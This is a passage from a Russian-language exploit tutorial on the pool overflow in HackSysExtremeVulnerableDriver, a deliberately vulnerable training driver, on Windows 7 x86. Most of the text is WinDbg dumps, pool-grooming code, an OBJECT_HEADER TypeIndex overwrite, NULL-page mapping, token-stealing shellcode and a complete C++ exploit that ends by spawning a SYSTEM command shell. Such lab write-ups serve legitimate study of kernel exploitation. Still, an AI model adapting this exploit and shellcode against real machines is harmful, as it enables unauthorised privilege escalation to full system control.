+0x024 HighWaterNumberOfHandles : 0x5ea6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y0
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 2
+0x008 InvalidAttributes : 0x100
+0x00c GenericMapping : _GENERIC_MAPPING
+0x000 GenericRead : 0x20001
+0x004 GenericWrite : 0x20002
+0x008 GenericExecute : 0x120000
+0x00c GenericAll : 0x1f0003
+0x01c ValidAccessMask : 0x1f0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x40
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
+0x03c DeleteProcedure : (null)
+0x040 ParseProcedure : (null)
+0x044 SecurityProcedure : 0x8288532c
+0x048 QueryNameProcedure : (null)
+0x04c OkayToCloseProcedure : (null)
+0x078 TypeLock : _EX_PUSH_LOCK
+0x000 Locked : 0y0
+0x000 Waiting : 0y0
+0x000 Waking : 0y0
+0x000 MultipleShared : 0y0
+0x000 Shared : 0y0000000000000000000000000000 (0)
+0x000 Value : 0
+0x000 Ptr : (null)
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x84f60498 - 0x84f60498 ]
+0x000 Flink : 0x84f60498
+0x004 Blink : 0x84f60498
По оффсет 0x28 находится структура TypeInfo. Один из её членов ClosePorcedure по оффсету 0x38. Начиная с оффсета 0x0, на который ссылается указатель OBJECT_TYPE, который мы нашли в таблице, CloseProcedure находится по 0x28 + 0x38 = 0x60. ЭТО указатель на функцию, которая будет вызвана при вызове CloseHandle, чтобы освободить Event Objects из невыгружаемого пула памяти. Это наша цель
Когда мы особождаем чанк с помощью CloseHandle, ядро идёт по адресу, на который ссылается значение массива по индексу 0xC и ищет по оффсету 0x60 указатель на функцию, вызывая её.
kd> dd nt!ObTypeIndexTable
82761ee0 00000000 bad0b0b0 84ec7860 84ec7798
Первый указатель - это 0x0 и мы из ещё не сделанный урок знаем, что мы можем мапить NULL страницу в Windows 7 x86. Итак, благодаря вышеупомянутым блогерам, наш дальнейший путь ясен. Мы корраптим только значение 0xC внутри OBJECT_HEADER, чтобы вместо него было установлено 0x0. Все остальное мы оставим как есть с помощью перезаписи. Таким образом, когда мы освободим этот кусок, ядро начнет искать смещение 0x60 для указателя функции с 0x000000. Поэтому мы просто отобразим страницу NULL и поместим указатель на наш шеллкод по смещению 0x60.
Выполняем план
Делаем дыры в блоке, чтобы наш буфер расположился там между Event Objects. Мы знаем, что для 0x200 дырки наш нужно освободить 8 объектов, следуя @FuzzySec будем освобождать 8 хендлов Event Objects каждые 0x16 хендлов в нашем векторе.
#include <iostream>
#include <vector>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200F
vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;
int main() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex << hFile << "\n";
cout << "[>] Spraying pool to defragment...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL, 0, 0, L"");
if (!result) {
cout << "[!] Error allocating Event Object during defragmentation\n";
exit(1);
}
defragment_handles.push_back(result);
}
cout << "[>] Defragmentation spray complete.\n";
cout << "[>] Spraying sequential allocations...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL, 0, 0, L"");
if (!result) {
cout << "[!] Error allocating Event Object during sequential.\n";
exit(1);
}
sequential_handles.push_back(result);
}
cout << "[>] Sequential spray complete.\n";
cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
for (int x = 0; x < 8; x++) {
BOOL freed = CloseHandle(sequential_handles[i + x]);
if (freed == false) {
cout << "[!] Unable to free sequential allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
}
}
}
cout << "[>] Holes poked lol.\n";
ULONG payload_len = 0x1F8;
LPVOID input_buff = VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memset(input_buff, '\x41', payload_len);
cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";
DWORD bytes_ret = 0;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
payload_len,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!\n";
}
return 0;
}
Вернёмся к чуть ранее показанному дампу
kd> !pool 0x8513C8C8
Pool page 8513c8c8 region is Unknown
8513c000 size: 388 previous size: 0 (Free ) XSav
8513c388 size: 438 previous size: 388 (Free) ....
8513c7c0 size: 40 previous size: 438 (Allocated) Even (Protected)
8513c800 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c840 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c880 size: 40 previous size: 40 (Allocated) Even (Protected)
*8513c8c0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8513cac0 size: 40 previous size: 200 (Allocated) Even (Protected)
8513cb00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cbc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ccc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cdc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce40 size: 1c0 previous size: 40 (Free) Even
Наш аллокцированный чанк лежит ровно между объектами, которые мы сами создали
Портим память
Теперь, когда мы контролируем пул с достаточно предсказуемой манере, время перезаписать тут индекс и изменить его на 0x0 с 0xC. Всё остальное между нашей 0x200 аллокацией и этим байтом должно остаться таким же, иначе БСОД.
Давайте просто воспользуемся командой dd, чтобы сдампить 32 значения DWORD из начала Event Objects сразу после нашего буфера ядра.
kd> dd 8513cac0
ReadVirtual: 8513cac0 not properly sign extended
8513cac0 04080040 ee657645 00000000 00000040
8513cad0 00000000 00000000 00000001 00000001
8513cae0 00000000 0008000c 86e7f640 00000000
8513caf0 ff040001 00000000 8513caf8 8513caf8
8513cb00 04080008 ee657645 00000000 00000040
8513cb10 00000000 00000000 00000001 00000001
8513cb20 00000000 0008000c 86e7f640 00000000
8513cb30 ff040001 00000000 8513cb38 8513cb38
Окей, нам нужно сохранить всё, как есть кроме 0xC и перезаписать этот байт нулём. Мы перезаписываем 40 байтов или 0x28, что даёт нам буфер размером 0x220
ULONG payload_len = 0x220;
BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
BYTE overwrite_payload[] = (
"\x40\x00\x08\x04" // pool header
"\x45\x76\x65\xee" // pool tag
"\x00\x00\x00\x00" // obj header quota begin
"\x40\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00" // obj header quota end
"\x01\x00\x00\x00" // obj header begin
"\x01\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x08\x00" // 0xc converted to 0x0
);
memset(input_buff, '\x42', 0x1F8);
memcpy(input_buff + 0x1F8, overwrite_payload, 0x28)
Нам нужно аллоцировать NULL страницу, что взято у tekwizzz123
typedef NTSTATUS(WINAPI *_NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T AllocationSize,
ULONG AllocationType,
ULONG Protect
);
void allocate_shellcode() {
_NtAllocateVirtualMemory NtAllocateVirtualMemory =
(_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateVirtualMemory");
INT64 address = 0x1;
int size = 0x100;
HANDLE result = (HANDLE)NtAllocateVirtualMemory(
GetCurrentProcess(),
(PVOID*)&address,
NULL,
(PSIZE_T)&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (result == INVALID_HANDLE_VALUE) {
cout << "[!] Unable to allocate NULL page...wtf?\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] NULL page mapped.\n";
cout << "[>] Putting 'AAAA' on NULL page...\n";
memset((void*)0x0, '\x41', 0x100);
}
Также заполним NULL страницу \x42 значениями, чтобы, запустив этот код, мы получили Access Violation со значением 0x42424242 в eip
И последнее, нам нужно освободить наши чанки, чтобы активировалась CloseProcedure
void free_chunks() {
cout << "[>] Freeing defragmentation allocations...\n";
for (int i = 0; i < defragment_handles.size(); i++) {
BOOL freed = CloseHandle(defragment_handles[i]);
if (freed == false) {
cout << "[!] Unable to free defragment allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
exit(1);
}
}
cout << "[>] Defragmentation allocations freed.\n";
cout << "[>] Freeing sequential allocations...\n";
for (int i = 0; i < sequential_handles.size(); i++) {
BOOL freed = CloseHandle(sequential_handles[i]);
if (freed == false) {
cout << "[!] Unable to free defragment allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
exit(1);
}
}
cout << "[>] Sequential allocations freed.\n";
}
Где-то здесь я пришёл к выводу, что его код всё-таки хороший и идея раскидать всё по функция стоит того))))
kd> g
Breakpoint 0 hit
HEVD!TriggerPoolOverflow:
a815b12a 6a14 push 14h
kd> g
Breakpoint 1 hit
HEVD!TriggerPoolOverflow+0xe6:
a815b210 686cc315a8 push offset HEVD! ?? ::NNGAKEGL::`string' (a815c36c)
kd> g
Access violation - code c0000005 (!!! second chance !!!)
41414141 ?? ???
Видим, что 0xC поменялся на 0x0
kd> db 8756dd40-8
ReadVirtual: 8756dd38 not properly sign extended
8756dd38 42 42 42 42 42 42 42 42-40 00 08 04 45 76 65 ee BBBBBBBB@...Eve.
8756dd48 00 00 00 00 40 00 00 00-00 00 00 00 00 00 00 00 ....@...........
8756dd58 01 00 00 00 01 00 00 00-00 00 00 00 ->00<- 00 08 00 ................
8756dd68 40 b2 eb 86 00 00 00 00-01 00 04 00 00 00 00 00 @...............
8756dd78 78 dd 56 87 78 dd 56 87-08 00 08 04 45 76 65 ee x.V.x.V.....Eve.
8756dd88 00 00 00 00 40 00 00 00-00 00 00 00 00 00 00 00 ....@...........
8756dd98 01 00 00 00 01 00 00 00-00 00 00 00 0c 00 08 00 ................
8756dda8 40 b2 eb 86 00 00 00 00-01 00 04 00 00 00 00 00 @...............
kd> dd 0x00000000
00000000 41414141 41414141 41414141 41414141
00000010 41414141 41414141 41414141 41414141
Шеллкод
kd> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 a9f93ae8 82886565 0x41414141
01 a9f93b38 828b54a7 nt!ObpCloseHandleTableEntry+0x6d
02 a9f93b68 8289d617 nt!ExSweepHandleTable+0x5f
03 a9f93b88 828aa467 nt!ObKillProcess+0x54
04 a9f93bfc 8289d0fa nt!PspExitThread+0x5e4
05 a9f93c24 82679e06 nt!NtTerminateProcess+0x12e
<Intermediate frames may have been skipped due to lack of complete unwind>
06 a9f93c24 77ab6c74 (T) nt!KiSystemServicePostCall
<Intermediate frames may have been skipped due to lack of complete unwind>
07 0030f9b0 7754be67 (T) 0x77ab6c74
08 0030f9c4 6e33603d 0x7754be67
09 0030fa18 6e3361b1 0x6e33603d
0a 0030fa24 00021a10 0x6e3361b1
0b 0030fa40 00021a57 0x21a10
0c 0030fa4c 00023007 0x21a57
0d 0030fa94 7753ef8c 0x23007
0e 0030faa0 77ad367a 0x7753ef8c
0f 0030fae0 77ad364d 0x77ad367a
10 0030faf8 00000000 0x77ad364d
8288650d 0fb64e0c movzx ecx,byte ptr [esi+0Ch]
82886511 8b1c8de02e7882 mov ebx,dword ptr nt!ObTypeIndexTable (82782ee0)[ecx*4]
82886518 57 push edi
82886519 648b3d24010000 mov edi,dword ptr fs:[124h]
82886520 837b7400 cmp dword ptr [ebx+74h],0
82886524 8d4e18 lea ecx,[esi+18h]
82886527 894c2414 mov dword ptr [esp+14h],ecx
8288652b c644241300 mov byte ptr [esp+13h],0
82886530 0f8497000000 je nt!ObpCloseHandleTableEntry+0xd5 (828865cd)
82886536 648b0d24010000 mov ecx,dword ptr fs:[124h]
8288653d 8b4510 mov eax,dword ptr [ebp+10h]
82886540 394150 cmp dword ptr [ecx+50h],eax
82886543 7410 je nt!ObpCloseHandleTableEntry+0x5d (82886555)
82886545 8d4c2420 lea ecx,[esp+20h]
82886549 51 push ecx
8288654a 50 push eax
8288654b e8c71ce5ff call nt!KeStackAttachProcess (826d8217)
82886550 c644241301 mov byte ptr [esp+13h],1
82886555 ff7518 push dword ptr [ebp+18h]
82886558 ff7514 push dword ptr [ebp+14h]
8288655b ff74241c push dword ptr [esp+1Ch]
8288655f ff7510 push dword ptr [ebp+10h]
82886562 ff5374 call dword ptr [ebx+74h]
82886565 84c0 test al,al
82886567 7561 jne nt!ObpCloseHandleTableEntry+0xd2 (828865ca)
Видим пуши, которые нужно будет компенсировать попом в конце шеллкода
kd> dd 0x0
00000000 00000000 00000000 00000000 00000000
00000010 00000000 00000000 00000000 00000000
00000020 00000000 00000000 00000000 00000000
00000030 00000000 00000000 00000000 00000000
00000040 00000000 00000000 00000000 00000000
00000050 00000000 00000000 00000000 00000000
00000060 00060000 00000000 00000000 00000000
00000070 00000000 00000000 00000000 00000000
kd> u 00060000 L15
00060000 60 pushad
00060001 64a124010000 mov eax,dword ptr fs:[00000124h]
00060007 8b4050 mov eax,dword ptr [eax+50h]
0006000a 89c1 mov ecx,eax
0006000c 8b98f8000000 mov ebx,dword ptr [eax+0F8h]
00060012 ba04000000 mov edx,4
00060017 8b80b8000000 mov eax,dword ptr [eax+0B8h]
0006001d 2db8000000 sub eax,0B8h
00060022 3990b4000000 cmp dword ptr [eax+0B4h],edx
00060028 75ed jne 00060017
0006002a 8b90f8000000 mov edx,dword ptr [eax+0F8h]
00060030 8991f8000000 mov dword ptr [ecx+0F8h],edx
00060036 61 popad
00060037 c21000 ret 10h
0006003a 0000 add byte ptr [eax],al
0006003c 0000 add byte ptr [eax],al
0006003e 0000 add byte ptr [eax],al
00060040 0000 add byte ptr [eax],al
00060042 0000 add byte ptr [eax],al
00060044 0000 add byte ptr [eax],al
00060046 0000 add byte ptr [eax],al
#include <iostream>
#include <vector>
#include <Windows.h>
using namespace std;
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22200F
typedef NTSTATUS(WINAPI* _NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T AllocationSize,
ULONG AllocationType,
ULONG Protect
);
vector<HANDLE> defragment_handles;
vector<HANDLE> sequential_handles;
HANDLE grab_handle() {
HANDLE hFile = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE) {
cout << "[!] No handle to HackSysExtremeVulnerableDriver\n";
exit(1);
}
cout << "[>] Grabbed handle to HackSysExtremeVulnerableDriver: " << hex
<< hFile << "\n";
return hFile;
}
void spray_pool() {
cout << "[>] Spraying pool to defragment...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during defragmentation\n";
exit(1);
}
defragment_handles.push_back(result);
}
cout << "[>] Defragmentation spray complete.\n";
cout << "[>] Spraying sequential allocations...\n";
for (int i = 0; i < 10000; i++) {
HANDLE result = CreateEvent(NULL,
0,
0,
L"");
if (!result) {
cout << "[!] Error allocating Event Object during sequential.\n";
exit(1);
}
sequential_handles.push_back(result);
}
cout << "[>] Sequential spray complete.\n";
cout << "[>] Poking 0x200 byte-sized holes in our sequential allocation...\n";
for (int i = 0; i < sequential_handles.size(); i = i + 0x16) {
for (int x = 0; x < 8; x++) {
BOOL freed = CloseHandle(sequential_handles[i + x]);
if (freed == false) {
cout << "[!] Unable to free sequential allocation!\n";
cout << "[!] Last error: " << GetLastError() << "\n";
exit(1);
}
}
}
cout << "[>] Holes poked lol.\n";
}
void allocate_shellcode() {
_NtAllocateVirtualMemory NtAllocateVirtualMemory =
(_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtAllocateVirtualMemory");
INT64 address = 0x1;
int size = 0x100;
HANDLE result = (HANDLE)NtAllocateVirtualMemory(
GetCurrentProcess(),
(PVOID*)&address,
NULL,
(PSIZE_T)&size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (result == INVALID_HANDLE_VALUE) {
cout << "[!] Unable to allocate NULL page...wtf?\n";
cout << "[!] Last error: " << dec << GetLastError() << "\n";
exit(1);
}
cout << "[>] NULL page mapped.\n";
cout << "[>] Placing pointer to shellcode on NULL page at offset 0x60...\n";
BYTE shellcode[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC2\x10\x00" // ret 0x10
);
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(shellcode_addr, shellcode, sizeof(shellcode));
memset((void*)0x0, '\x00', 0x100);
memcpy((void*)0x60, (void*)&shellcode_addr, 0x4);
}
void send_payload(HANDLE hFile) {
ULONG payload_len = 0x220;
BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
payload_len + 0x1,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
BYTE overwrite_payload[] = (
"\x40\x00\x08\x04" // pool header
"\x45\x76\x65\xee" // pool tag
"\x00\x00\x00\x00" // obj header quota begin
"\x40\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x00\x00" // obj header quota end
"\x01\x00\x00\x00" // obj header begin
"\x01\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00\x08\x00" // 0xc converted to 0x0
);
memset(input_buff, '\x41', 0x1F8);
memcpy(input_buff + 0x1F8, overwrite_payload, 0x28);
cout << "[>] Sending buffer size of: " << dec << payload_len << "\n";
DWORD bytes_ret = 0;
int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
payload_len,
NULL,
0,
&bytes_ret,
NULL);
if (!result) {
cout << "[!] DeviceIoControl failed!\n";
}
}
void free_chunks() {
cout << "[>] Freeing defragmentation allocations...\n";
for (int i = 0; i < defragment_handles.size(); i++) {
BOOL freed = CloseHandle(defragment_handles[i]);
if (freed == false) {
//cout << "[!] Unable to free defragment allocation!\n";
//cout << "[!] Last error: " << GetLastError() << "\n";
//exit(1);
}
}
cout << "[>] Defragmentation allocations freed.\n";
cout << "[>] Freeing sequential allocations...\n";
for (int i = 0; i < sequential_handles.size(); i++) {
BOOL freed = CloseHandle(sequential_handles[i]);
if (freed == false) {
//cout << "[!] Unable to free defragment allocation!\n";
//cout << "[!] Last error: " << GetLastError() << "\n";
//exit(1);
}
}
cout << "[>] Sequential allocations freed.\n";
}
void spawn_shell() {
cout << "[>] Spawning nt authority/system shell...\n";
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}
int main() {
HANDLE hFile = grab_handle();
spray_pool();
allocate_shellcode();
send_payload(hFile);
free_chunks();
spawn_shell();
return 0;
}